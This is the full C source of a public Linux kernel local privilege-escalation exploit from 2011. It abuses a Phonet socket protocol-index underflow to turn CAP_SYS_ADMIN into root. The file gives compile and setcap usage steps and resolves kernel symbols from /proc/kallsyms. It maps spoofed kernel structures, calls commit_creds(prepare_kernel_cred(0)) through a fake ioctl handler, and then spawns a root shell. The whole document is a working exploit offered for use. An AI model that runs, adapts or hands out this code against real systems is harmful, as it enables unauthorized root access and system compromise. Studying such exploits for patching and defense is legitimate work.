/* * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) * by Joe Sylve * @jtsylve on twitter * * Released: Jan 7, 2011 * * Based on the bug found by Dan Rosenberg (@djrbliss) * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/ * * Usage: * gcc -w caps-to-root2.c -o caps-to-root2 * sudo setcap cap_sys_admin+ep caps-to-root2 * ./caps-to-root2 * * Kernel Version >= 2.6.34 (untested on earlier versions) * * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit * * This exploit takes advantage of the same underflow as the original, * but takes a different approach. Instead of underflowing into userspace * (which doesn't work on 64-bit systems and is a lot of work), I underflow * to some static values inside of the kernel which are referenced as pointers * to userspace. This method is pretty simple and seems to be reliable. */
#include <stdio.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <sys/mman.h> #include <unistd.h>
// Skeleton Structures of the Kernel Structures we're going to spoof struct proto_ops_skel { int family; void *buffer1[8]; int (*ioctl)(void *, int, long); void *buffer2[12]; };
struct phonet_protocol_skel { void *ops; void *prot; int sock_type; };
#ifdef __x86_64__
#define SYM_NAME "local_port_range" #define SYM_ADDRESS 0x0000007f00000040 #define SYM_OFFSET 0x0
typedef int (* _commit_creds)(unsigned long cred); typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
#else //32-bit
#define SYM_NAME "pn_proto" #define SYM_ADDRESS 0x4e4f4850 #define SYM_OFFSET 0x90
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
#endif
_commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;
int getroot(void * v, int i, long l) { commit_creds(prepare_kernel_cred(0)); return 0; }
/* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret;
char command[512];
sprintf(command, "grep \"%s\" /proc/kallsyms", name);
f = popen(command, "r");
while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) { fscanf(f, "%s\n", sname); continue; }
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); pclose(f); return addr; } }
pclose(f); return 0; }
int main(int argc, char * argv[]) {
int sock, proto; unsigned long proto_tab, low_kern_sym, pn_proto; void * map;
/* Create a socket to load the module for symbol support */ printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) { if(errno == EPERM) printf("[*] You don't have CAP_SYS_ADMIN.\n");
else printf("[*] Failed to open Phonet socket.\n");
return -1; }
close(sock);
/* Resolve kernel symbols */ printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab"); low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET; pn_proto = get_kernel_sym("pn_proto"); commit_creds = (void *) get_kernel_sym("commit_creds"); prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; }
if (low_kern_sym >= proto_tab) { printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME); return -1; }
/* Map it */ printf("[*] Preparing fake structures...\n");
const struct proto_ops_skel fake_proto_ops2 = { .family = AF_PHONET, .ioctl = &getroot, };
struct phonet_protocol_skel pps = { .ops = (void *) &fake_proto_ops2, .prot = (void *) pn_proto, .sock_type = SOCK_DGRAM, };
printf("[*] Copying Structures.\n");
map = mmap((void *) SYM_ADDRESS, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); perror("mmap"); return -1; }
memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
// Calculate Underflow proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto);
if(sock < 0) { printf("[*] Underflow failed :-(.\n"); return -1; }
printf("[*] Elevating privlidges...\n"); ioctl(sock, 0, NULL);
if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; }
printf("[*] This was a triumph... I'm making a note here, huge success.\n"); execl("/bin/sh", "/bin/sh", NULL);
close(sock); munmap(map, 0x1000);
return 0; }
|